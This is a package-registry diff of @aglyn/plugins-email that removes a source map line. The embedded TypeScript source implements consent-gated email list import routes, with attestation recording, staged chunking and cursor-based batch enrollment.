@aglyn/plugins-email 1.0.0-beta.218 → 1.0.0-beta.219

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- {"version":3,"sources":["../../../../../../libs/plugins/email/src/lib/server-list-import.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * BRINGING AN EXISTING LIST IN — the four routes an import is made of.\n *\n * `docs/specs/email-competitive-gaps.md` G5: export works, import does not\n * exist, and every customer arriving from another product has a list and no\n * way to bring it. P4 is the condition attached to closing that: a bulk\n * import is the fastest way to destroy a shared sending domain, so it ships\n * WITH its controls.\n *\n * ## Every imported address goes through the checks a typed one does\n *\n * Not a similar set — the same functions. {@link resolveAddresses} is the\n * resolution `email/list-members-preview` runs, `assignmentBasis` is the\n * policy `email/list-members-add` applies, and `enrollListMember` is the one\n * writer of the membership collection. A second bulk path with its own idea of\n * suppression and its own idea of consent is exactly the defect class this\n * register has a P1 entry for, and that entry is closed.\n *\n * What this module adds is everything ABOVE that gate: reading a file,\n * screening it, holding the operator's attestation, and metering the work out\n * over as many requests as it takes.\n *\n * ## Four routes, because an import is four separate acts\n *\n * - `email/list-import-preview` — reads the file and says what is in it.\n * Writes nothing, enrolls nobody, and resolves a BOUNDED SAMPLE through the\n * consent gate so the numbers the operator attests against are real numbers\n * from real records rather than a promise.\n * - `email/list-import-start` — records the attestation and stages the\n * addresses. Still enrolls nobody: the act of saying \"I have permission for\n * these people\" is separated from the act of adding them so that the\n * attestation has a moment of its own.\n * - `email/list-import-run` — enrolls up to {@link LIST_IMPORT_RUN_BUDGET}\n * addresses from the cursor and moves it. Called until it answers\n * `complete`.\n * - `email/list-import-status` — the unfinished import on a list, if there is\n * one, so a merchant who closed the tab is not left with a half-added\n * audience and no way to see it.\n *\n * ## A budget and a cursor, not one request and not one transaction\n *\n * The shape `dynamic-list-materialize.ts` already uses: a per-run bound on\n * work, a cursor recording where the run stopped, and a next run that resumes\n * rather than restarts. A 50,000-address file is not a request that times out\n * halfway with no record of what it did; it is 500 bounded requests over one\n * durable job, and stopping in the middle of it leaves the addresses already\n * enrolled enrolled and the rest staged.\n *\n * The run budget is deliberately {@link LIST_MEMBER_BATCH_MAX} — the same\n * number of addresses one hand-typed add already resolves in one request — so\n * an import run costs exactly what an add costs and no new cost profile is\n * introduced to discover in production.\n *\n * ## ⛔ Nothing here is a capacity limit\n *\n * {@link LIST_IMPORT_MAX_ADDRESSES} refuses a FILE before anything is written.\n * It never trims a staged import, never drops an address to fit, and never\n * removes anybody already on the list. A ceiling in this product is enforced\n * at the reduction, and the reduction here is refusing the upload — which the\n * operator sees, can argue with, and can act on by splitting the file.\n *\n * ## Who the attester is, and why a resumer does not become one\n *\n * The attestation is one person's claim about where a file came from. It is\n * recorded on the job with the account that made it, and every run reads the\n * basis from THAT account, not from whoever pressed Resume. A colleague who\n * finishes somebody else's import has asserted nothing, and the consent\n * records the run writes must not say they did.\n */\n\nimport {\n ASSIGNMENT_REFUSAL_MESSAGES,\n assignmentBasis,\n createResourceUid,\n importedBasisReason,\n LIST_IMPORT_MAX_ADDRESSES,\n LIST_IMPORT_MAX_CHARACTERS,\n parseListImport,\n readMarketingBasis,\n registerPluginApiRoute,\n screenListImport,\n type AssignmentRefusal,\n type ListImportRow,\n type PluginApiHandler,\n} from '@aglyn/aglyn/server'\nimport { enrollListMember } from '@aglyn/tenant-data-admin'\nimport { FieldValue } from 'firebase-admin/firestore'\n/*\n * The gate module directly, never `server-console.ts`'s re-export of it.\n *\n * That file imports THIS one to register these routes, so reaching its\n * re-export would close a cycle — and the constant below is evaluated at\n * module load, which is precisely where a cycle stops being harmless: the\n * binding is still in its temporal dead zone when the loader arrives.\n */\nimport {\n LIST_MEMBER_BATCH_MAX,\n resolveAddresses,\n resolveListContext,\n type ListContext,\n} from './server-list-gate'\n\n/** `source` stamped on every membership an import writes. */\nexport const CONSOLE_IMPORT_SOURCE = 'console:list-import'\n\n/** Where a list's import jobs live: `orgs/{orgId}/lists/{listId}/imports`. */\nexport const LIST_IMPORTS_SUBCOLLECTION = 'imports'\n\n/**\n * Addresses one run enrolls before answering and handing back the cursor.\n *\n * The same number as {@link LIST_MEMBER_BATCH_MAX} on purpose — see the module\n * note. It is a bound on WORK: it can never refuse a person, and the addresses\n * it does not reach in this run are reached by the next one.\n */\nexport const LIST_IMPORT_RUN_BUDGET = LIST_MEMBER_BATCH_MAX\n\n/**\n * Staged addresses per chunk document.\n *\n * Comfortably inside Firestore's one-megabyte document limit at the widths a\n * contact file actually carries, and a multiple of the run budget so a run\n * reads exactly one chunk. Reading two would be the common case at any size\n * that is not a multiple, which is a round trip paid on every run to save\n * nothing.\n */\nexport const LIST_IMPORT_CHUNK_SIZE = 500\n\n/** Unusable lines kept verbatim on the job, so the result names some of them. */\nconst UNUSABLE_SAMPLE_MAX = 25\n\n/** Role accounts kept verbatim on the job, for the same reason. */\nconst ROLE_ACCOUNT_SAMPLE_MAX = 25\n\n/** One staged row, in the short field names a 50,000-row staging area wants. */\ninterface StagedRow {\n /** The normalized address. */\n e: string\n /** A display name from the file, when it carried one. */\n n?: string\n /** The opt-in source the file declared. */\n s?: string\n /** The opt-in date the file declared, as written. */\n d?: string\n}\n\n/** What the merchant is told about the file, before they attest to it. */\ninterface ImportScreeningReport {\n /** How many addresses are at a shared or unattended mailbox. */\n roleAccounts: number\n /** A bounded sample of them, so the warning names names. */\n roleAccountSamples: string[]\n /** Column names that read as purchase or append tells. */\n purchaseTellColumns: string[]\n /** Whether the file declares an opt-in source or date per row. */\n declaresBasis: boolean\n}\n\n/** Reads the request's file text, or the refusal to send back. */\nfunction readImportText(\n req: Parameters<PluginApiHandler>[0],\n): { text: string } | { error: string } {\n const text = String(req.body?.text ?? '')\n if (!text.trim()) return { error: 'The file is empty.' }\n if (text.length > LIST_IMPORT_MAX_CHARACTERS) {\n return {\n error:\n 'That file is too large to read in one go. Split it and import the ' +\n 'pieces — nothing is added until you do, and nothing already on the ' +\n 'list is affected.',\n }\n }\n return { text }\n}\n\n/**\n * The screening report for a parsed file.\n *\n * Counts plus a bounded sample rather than every offending address. The point\n * of the warning is that the operator SEES the shape of what they are about to\n * attest to; a list of four thousand role accounts is a scroll, not a warning,\n * and it would put four thousand addresses into a document whose reason for\n * existing is bookkeeping.\n */\nfunction screeningReport(parsed: {\n columns: string[]\n rows: ListImportRow[]\n}): ImportScreeningReport {\n const screening = screenListImport(parsed)\n return {\n roleAccounts: screening.roleAccounts.length,\n roleAccountSamples: screening.roleAccounts.slice(0, ROLE_ACCOUNT_SAMPLE_MAX),\n purchaseTellColumns: screening.purchaseTellColumns,\n declaresBasis: screening.declaresBasis,\n }\n}\n\n/**\n * `POST email/list-import-preview` — what is in this file.\n *\n * Reads only. It answers three separate questions and keeps them separate,\n * because collapsing them is how an import gets attested to on a number that\n * is not the number:\n *\n * - what the FILE contains: usable addresses, unusable lines, duplicates\n * collapsed, and the columns it carries;\n * - what the SCREENING found, which decides nothing and is shown anyway;\n * - what the CONSENT GATE says about a bounded sample of the addresses.\n *\n * The sample is the honest shape rather than a shortcut. Resolving fifty\n * thousand addresses against the contacts collection and both suppression\n * lists is the same scan the import itself performs, so a preview that did it\n * would be the import minus the writes — twice the cost, and a request that\n * times out on exactly the files this feature exists for. So the sample size\n * is reported beside the total and the run reports the real figures as they\n * become true, which is the same distinction `email/list-rule-preview` draws\n * between `matched` and the batch it hands back.\n */\nexport const emailListImportPreviewHandler: PluginApiHandler = async (\n req,\n res,\n) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n const file = readImportText(req)\n if ('error' in file) return res.status(400).json({ error: file.error })\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const parsed = parseListImport(file.text)\n const sample = parsed.rows\n .map((row) => row.email)\n .filter((email): email is string => !!email)\n .slice(0, LIST_MEMBER_BATCH_MAX)\n const resolution = await resolveAddresses({\n hostId: context.hostId,\n inputs: sample,\n })\n return res.status(200).json({\n listName: context.listName,\n columns: parsed.columns,\n usable: parsed.usable,\n unusable: parsed.unusable,\n duplicates: parsed.duplicates,\n overCeiling: parsed.overCeiling,\n ceiling: LIST_IMPORT_MAX_ADDRESSES,\n unusableSamples: parsed.rows\n .filter((row) => !row.email)\n .slice(0, UNUSABLE_SAMPLE_MAX)\n .map((row) => row.input),\n screening: screeningReport(parsed),\n /*\n * The sample's verdicts, in the shape the panel's consent readout\n * already draws, and its SIZE beside them. A count with no denominator\n * next to it is the thing an operator misreads as the whole file.\n */\n sampleSize: sample.length,\n verdicts: resolution.verdicts,\n optedIn: resolution.optedIn,\n needAttestation: resolution.needAttestation,\n refused: resolution.refused,\n })\n } catch (error) {\n console.error('[email] list import preview failed', error)\n return res.status(500).json({ error: 'The file could not be read.' })\n }\n}\n\n/**\n * `POST email/list-import-start` — record the attestation, stage the file.\n *\n * Body: `{ hostId, listId, text, attestConsent }`. Enrolls nobody. It writes\n * the job document that every subsequent run reads, and the chunks holding\n * the addresses, and then stops — so the moment the operator makes their\n * claim is a moment of its own, with a record of who made it and when, rather\n * than a flag riding along on the request that also did the work.\n *\n * `attestConsent` is the operator STATING they have these people's\n * permission. It is not a way to name a basis: the basis is derived per\n * address at run time from that person's own record, exactly as the\n * one-address add path derives it, and this flag can only ever produce the\n * attributable kind.\n */\nexport const emailListImportStartHandler: PluginApiHandler = async (\n req,\n res,\n) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n const file = readImportText(req)\n if ('error' in file) return res.status(400).json({ error: file.error })\n const attested = req.body?.attestConsent === true\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const parsed = parseListImport(file.text)\n const staged: StagedRow[] = parsed.rows\n .filter((row) => !!row.email)\n .map((row) => ({\n e: row.email as string,\n ...(row.name ? { n: row.name } : {}),\n ...(row.declaredSource ? { s: row.declaredSource } : {}),\n ...(row.declaredAt ? { d: row.declaredAt } : {}),\n }))\n if (!staged.length) {\n return res.status(400).json({\n error:\n 'No usable email addresses were found in that file. Check that it ' +\n 'has an address column, or paste one address per line.',\n })\n }\n\n const importId = createResourceUid()\n const importRef = context.listRef\n .collection(LIST_IMPORTS_SUBCOLLECTION)\n .doc(importId)\n const chunks = importRef.collection('chunks')\n /*\n * The staging area first, the job document last.\n *\n * A job whose chunks are not all written yet is a job a run would read\n * past the end of, and the run is driven by a client that starts\n * immediately. Writing the job last means the only state anybody can\n * observe is a complete one.\n *\n * One document per chunk and not one batch over all of them: a batch is\n * capped at 500 writes and, more to the point, is a transaction — the\n * whole reason this is a staged job rather than one request is that a\n * fifty-thousand-address import must not be a single atomic thing that\n * either lands or does not.\n */\n for (let at = 0; at < staged.length; at += LIST_IMPORT_CHUNK_SIZE) {\n await chunks.doc(String(at / LIST_IMPORT_CHUNK_SIZE)).set({\n rows: staged.slice(at, at + LIST_IMPORT_CHUNK_SIZE),\n })\n }\n\n await importRef.set({\n listName: context.listName,\n status: 'running',\n total: staged.length,\n cursor: 0,\n enrolled: 0,\n refused: 0,\n refusals: {},\n unusable: parsed.unusable,\n duplicates: parsed.duplicates,\n overCeiling: parsed.overCeiling,\n unusableSamples: parsed.rows\n .filter((row) => !row.email)\n .slice(0, UNUSABLE_SAMPLE_MAX)\n .map((row) => row.input),\n columns: parsed.columns,\n screening: screeningReport(parsed),\n /*\n * WHO attested, stored beside WHETHER. A flag on its own is an\n * unattributed claim, which is the one thing `list-assignment-policy`\n * refuses to let an attestation be — and every run reads the account\n * from here rather than from the session that triggered it.\n */\n attested,\n attestedByUid: attested ? context.uid : null,\n attestedAtMs: attested ? Date.now() : null,\n startedByUid: context.uid,\n createdAt: FieldValue.serverTimestamp(),\n updatedAt: FieldValue.serverTimestamp(),\n })\n\n return res.status(200).json({\n importId,\n listName: context.listName,\n total: staged.length,\n attested,\n runBudget: LIST_IMPORT_RUN_BUDGET,\n })\n } catch (error) {\n console.error('[email] list import start failed', error)\n return res.status(500).json({ error: 'The import could not be started.' })\n }\n}\n\n/** The staged addresses a run will work on, from the cursor. */\nasync function readStaged(\n importRef: FirebaseFirestore.DocumentReference,\n cursor: number,\n total: number,\n): Promise<StagedRow[]> {\n const take = Math.min(LIST_IMPORT_RUN_BUDGET, Math.max(total - cursor, 0))\n if (take <= 0) return []\n const rows: StagedRow[] = []\n let at = cursor\n /*\n * A loop rather than one read.\n *\n * `LIST_IMPORT_CHUNK_SIZE` is a multiple of `LIST_IMPORT_RUN_BUDGET`, so as\n * those two constants stand a run reads exactly one chunk and this turns\n * once. That relationship is a PERFORMANCE choice — one round trip per run\n * — and the loop is what keeps it from also being a correctness\n * requirement: change either number to something that does not divide, or\n * resume a job whose cursor came from an older budget, and a run's batch\n * straddles a boundary. Reading one chunk and truncating would silently\n * import a short batch and advance the cursor past the rest.\n */\n while (rows.length < take) {\n const index = Math.floor(at / LIST_IMPORT_CHUNK_SIZE)\n const snapshot = await importRef\n .collection('chunks')\n .doc(String(index))\n .get()\n const stored = (snapshot.exists ? snapshot.get('rows') : null) as\n | StagedRow[]\n | null\n if (!Array.isArray(stored) || !stored.length) break\n const offset = at - index * LIST_IMPORT_CHUNK_SIZE\n const slice = stored.slice(offset, offset + (take - rows.length))\n if (!slice.length) break\n rows.push(...slice)\n at += slice.length\n }\n return rows\n}\n\n/**\n * `POST email/list-import-run` — enroll the next batch.\n *\n * Body: `{ hostId, listId, importId }`. Answers `complete` when the cursor\n * has reached the total, so the caller's loop is \"call until complete\" and\n * nothing has to guess how many runs a file needs.\n *\n * ## The cursor moves for every address, enrolled or refused\n *\n * A refusal is a finished address. Advancing only on success would put a\n * suppressed address at the head of the queue forever and turn the import\n * into a loop that never terminates on exactly the files that most need to\n * terminate.\n *\n * ## The counters are incremented, not recomputed\n *\n * `FieldValue.increment` rather than a read-modify-write, so two runs racing\n * on one job — a merchant with the drawer open in two tabs — cannot lose a\n * batch's worth of tally. The cursor is written as an absolute value because\n * it is the position the NEXT run reads from, and two racing runs that both\n * incremented it would skip a batch rather than repeat one; repeating is safe\n * (`enrollListMember` is keyed by the person), skipping is not.\n */\nexport const emailListImportRunHandler: PluginApiHandler = async (req, res) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n const importId = String(req.body?.importId ?? '').trim()\n if (!importId) return res.status(400).json({ error: 'Missing importId' })\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const importRef = context.listRef\n .collection(LIST_IMPORTS_SUBCOLLECTION)\n .doc(importId)\n const job = await importRef.get()\n if (!job.exists) {\n return res.status(404).json({ error: 'Unknown import' })\n }\n const total = Number(job.get('total') ?? 0)\n const cursor = Number(job.get('cursor') ?? 0)\n if (cursor >= total) {\n return res.status(200).json(finishedPayload(job, context))\n }\n\n const staged = await readStaged(importRef, cursor, total)\n if (!staged.length) {\n /*\n * The staging area is short of what the job claims. Recorded as\n * complete rather than retried forever: the addresses that were\n * enrolled stay enrolled, and a job that cannot be finished is more\n * useful marked finished with its real numbers than left as a\n * permanently unfinished import a merchant is told to resume.\n */\n await importRef.set(\n { status: 'complete', cursor: total, updatedAt: FieldValue.serverTimestamp() },\n { merge: true },\n )\n return res.status(200).json({\n ...finishedPayload(job, context),\n complete: true,\n cursor: total,\n })\n }\n\n const attested = job.get('attested') === true\n /*\n * The ATTESTER's account, not the caller's. See the module note: a\n * colleague who resumes somebody else's import has asserted nothing, and\n * a consent record naming them would be a claim nobody made.\n */\n const attestingUid = String(job.get('attestedByUid') ?? '')\n const nowMs = Date.now()\n\n const resolution = await resolveAddresses({\n hostId: context.hostId,\n inputs: staged.map((row) => row.e),\n })\n const byEmail = new Map(staged.map((row) => [row.e, row]))\n\n let enrolled = 0\n const refusals: Record<string, number> = {}\n const results: Array<{\n email: string | null\n enrolled: boolean\n reason?: AssignmentRefusal\n error?: string\n }> = []\n const refuse = (email: string | null, reason: AssignmentRefusal) => {\n refusals[reason] = (refusals[reason] ?? 0) + 1\n results.push({\n email,\n enrolled: false,\n reason,\n error: ASSIGNMENT_REFUSAL_MESSAGES[reason],\n })\n }\n\n for (const verdict of resolution.verdicts) {\n if (verdict.refusal || !verdict.email) {\n refuse(verdict.email, verdict.refusal ?? 'unroutable-address')\n continue\n }\n const decision = assignmentBasis({\n stored: resolution.stored.get(verdict.email) ?? readMarketingBasis(null, resolution.group),\n attested,\n actingUid: attestingUid,\n nowMs,\n })\n if ('refusal' in decision) {\n refuse(verdict.email, decision.refusal)\n continue\n }\n const row = byEmail.get(verdict.email)\n const enrollment = await enrollListMember({\n listRef: context.listRef,\n group: resolution.group,\n email: verdict.email,\n ...(row?.n ? { name: row.n } : {}),\n source: CONSOLE_IMPORT_SOURCE,\n // Never `'rule'`: the dynamic-list materializer reconciles its own\n // rows away when somebody stops matching, and a file a merchant\n // uploaded is not a rule match that can lapse.\n via: 'manual',\n // A pass-through carries the person's grants as their record holds\n // them (AGL-3320); an attestation carries none and is this site's.\n ...(decision.basis === 'contact-opt-in'\n ? { grantEntries: resolution.grants.get(verdict.email) ?? {} }\n : {}),\n consent: {\n ...decision,\n /*\n * The file's own declaration, carried onto the row it was made\n * about — but only for the basis it is evidence FOR. A\n * pass-through carries the person's own opt-in, and attaching a\n * spreadsheet column's claim to that would be dressing the\n * person's act in the merchant's words.\n */\n ...(decision.basis === 'operator-attested' && row\n ? {\n reason: importedBasisReason({\n declaredSource: row.s ?? '',\n declaredAt: row.d ?? '',\n }),\n }\n : {}),\n },\n })\n if (enrollment.enrolled === false) {\n refuse(\n verdict.email,\n enrollment.refusal === 'declined' ? 'declined' : 'unroutable-address',\n )\n continue\n }\n enrolled += 1\n results.push({ email: verdict.email, enrolled: true })\n }\n\n const nextCursor = cursor + staged.length\n const complete = nextCursor >= total\n await importRef.set(\n {\n cursor: nextCursor,\n status: complete ? 'complete' : 'running',\n enrolled: FieldValue.increment(enrolled),\n refused: FieldValue.increment(staged.length - enrolled),\n /*\n * A NESTED map, not dotted keys. `set({merge:true})` reads its keys\n * as literal field names — only `update()` expands a dot into a field\n * path — so `refusals.declined` here would create a top-level field\n * with a dot in its name and leave the map it was meant to update\n * empty. A deep merge over a nested map does what is wanted and\n * honors the increments inside it.\n */\n refusals: Object.fromEntries(\n Object.entries(refusals).map(([reason, count]) => [\n reason,\n FieldValue.increment(count),\n ]),\n ),\n updatedAt: FieldValue.serverTimestamp(),\n },\n { merge: true },\n )\n\n return res.status(200).json({\n importId,\n listName: context.listName,\n complete,\n total,\n cursor: nextCursor,\n /*\n * This RUN's numbers, named as this run's. The job's running totals are\n * read back by `email/list-import-status`; reporting an increment as a\n * total is how a progress readout comes to disagree with the record.\n */\n ranEnrolled: enrolled,\n ranRefused: staged.length - enrolled,\n refusals,\n results,\n })\n } catch (error) {\n console.error('[email] list import run failed', error)\n return res.status(500).json({ error: 'The import could not continue.' })\n }\n}\n\n/** The payload for a job that has nothing left to do. */\nfunction finishedPayload(\n job: FirebaseFirestore.DocumentSnapshot,\n context: Extract<ListContext, { ok: true }>,\n): Record<string, unknown> {\n return {\n importId: job.id,\n listName: context.listName,\n complete: true,\n total: Number(job.get('total') ?? 0),\n cursor: Number(job.get('cursor') ?? 0),\n ranEnrolled: 0,\n ranRefused: 0,\n refusals: {},\n results: [],\n }\n}\n\n/**\n * `POST email/list-import-status` — the import on this list, if there is one.\n *\n * Reached when the import drawer opens, and at no other time. It exists\n * because a browser is not a durable thing: a merchant who closed the tab\n * during a large import has an audience that is part-way filled and, without\n * this, no way to see that or to finish it. What they must never be offered\n * instead is a fresh import of the same file, which would re-run the whole\n * gate over addresses already enrolled.\n *\n * Ordered on `createdAt`, which every job document written by\n * `email/list-import-start` carries — a `limit()` with no `orderBy` answers in\n * document-id order, and the ids come from `createResourceUid()`, so the\n * \"latest\" import would be an arbitrary one.\n */\nexport const emailListImportStatusHandler: PluginApiHandler = async (\n req,\n res,\n) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const snapshot = await context.listRef\n .collection(LIST_IMPORTS_SUBCOLLECTION)\n .orderBy('createdAt', 'desc')\n .limit(1)\n .get()\n const job = snapshot.docs[0]\n if (!job) return res.status(200).json({ listName: context.listName, job: null })\n return res.status(200).json({\n listName: context.listName,\n job: {\n importId: job.id,\n status: String(job.get('status') ?? 'running'),\n total: Number(job.get('total') ?? 0),\n cursor: Number(job.get('cursor') ?? 0),\n enrolled: Number(job.get('enrolled') ?? 0),\n refused: Number(job.get('refused') ?? 0),\n refusals: (job.get('refusals') ?? {}) as Record<string, number>,\n attested: job.get('attested') === true,\n unusable: Number(job.get('unusable') ?? 0),\n duplicates: Number(job.get('duplicates') ?? 0),\n unusableSamples: (job.get('unusableSamples') ?? []) as string[],\n screening: (job.get('screening') ?? null) as ImportScreeningReport | null,\n },\n })\n } catch (error) {\n console.error('[email] list import status failed', error)\n return res\n .status(500)\n .json({ error: 'The import could not be looked up.' })\n }\n}\n\n/**\n * Import route registration.\n *\n * Reached by a person pressing a button in a browser, like the rest of the\n * console half, so none of these is on the machine-path exemption list in\n * `plugin-api-rate-limit.ts` — with one consequence worth stating: the RUN\n * route is called repeatedly by design, once per {@link\n * LIST_IMPORT_RUN_BUDGET} addresses, so the visitor limiter's per-(site, IP)\n * budget is the ceiling on how fast a large import can proceed. That is the\n * correct ceiling for a path that enrolls people into a marketing audience,\n * and it degrades into a slower import rather than a failed one.\n */\nexport function registerEmailListImportApi(): void {\n registerPluginApiRoute(\n 'email/list-import-preview',\n emailListImportPreviewHandler,\n )\n registerPluginApiRoute('email/list-import-start', emailListImportStartHandler)\n registerPluginApiRoute('email/list-import-run', emailListImportRunHandler)\n registerPluginApiRoute(\n 'email/list-import-status',\n emailListImportStatusHandler,\n )\n}\n"],"names":["ASSIGNMENT_REFUSAL_MESSAGES","assignmentBasis","createResourceUid","importedBasisReason","LIST_IMPORT_MAX_ADDRESSES","LIST_IMPORT_MAX_CHARACTERS","parseListImport","readMarketingBasis","registerPluginApiRoute","screenListImport","enrollListMember","FieldValue","LIST_MEMBER_BATCH_MAX","resolveAddresses","resolveListContext","CONSOLE_IMPORT_SOURCE","LIST_IMPORTS_SUBCOLLECTION","LIST_IMPORT_RUN_BUDGET","LIST_IMPORT_CHUNK_SIZE","UNUSABLE_SAMPLE_MAX","ROLE_ACCOUNT_SAMPLE_MAX","readImportText","req","text","String","body","trim","error","length","screeningReport","parsed","screening","roleAccounts","roleAccountSamples","slice","purchaseTellColumns","declaresBasis","emailListImportPreviewHandler","res","method","status","json","file","context","ok","sample","rows","map","row","email","filter","resolution","hostId","inputs","listName","columns","usable","unusable","duplicates","overCeiling","ceiling","unusableSamples","input","sampleSize","verdicts","optedIn","needAttestation","refused","console","emailListImportStartHandler","attested","attestConsent","staged","e","name","n","declaredSource","s","declaredAt","d","importId","importRef","listRef","collection","doc","chunks","at","set","total","cursor","enrolled","refusals","attestedByUid","uid","attestedAtMs","Date","now","startedByUid","createdAt","serverTimestamp","updatedAt","runBudget","readStaged","take","Math","min","max","index","floor","snapshot","get","stored","exists","Array","isArray","offset","push","emailListImportRunHandler","job","Number","finishedPayload","merge","complete","attestingUid","nowMs","byEmail","Map","results","refuse","reason","verdict","refusal","decision","group","actingUid","enrollment","source","via","basis","grantEntries","grants","consent","nextCursor","increment","Object","fromEntries","entries","count","ranEnrolled","ranRefused","id","emailListImportStatusHandler","orderBy","limit","docs","registerEmailListImportApi"],"mappings":"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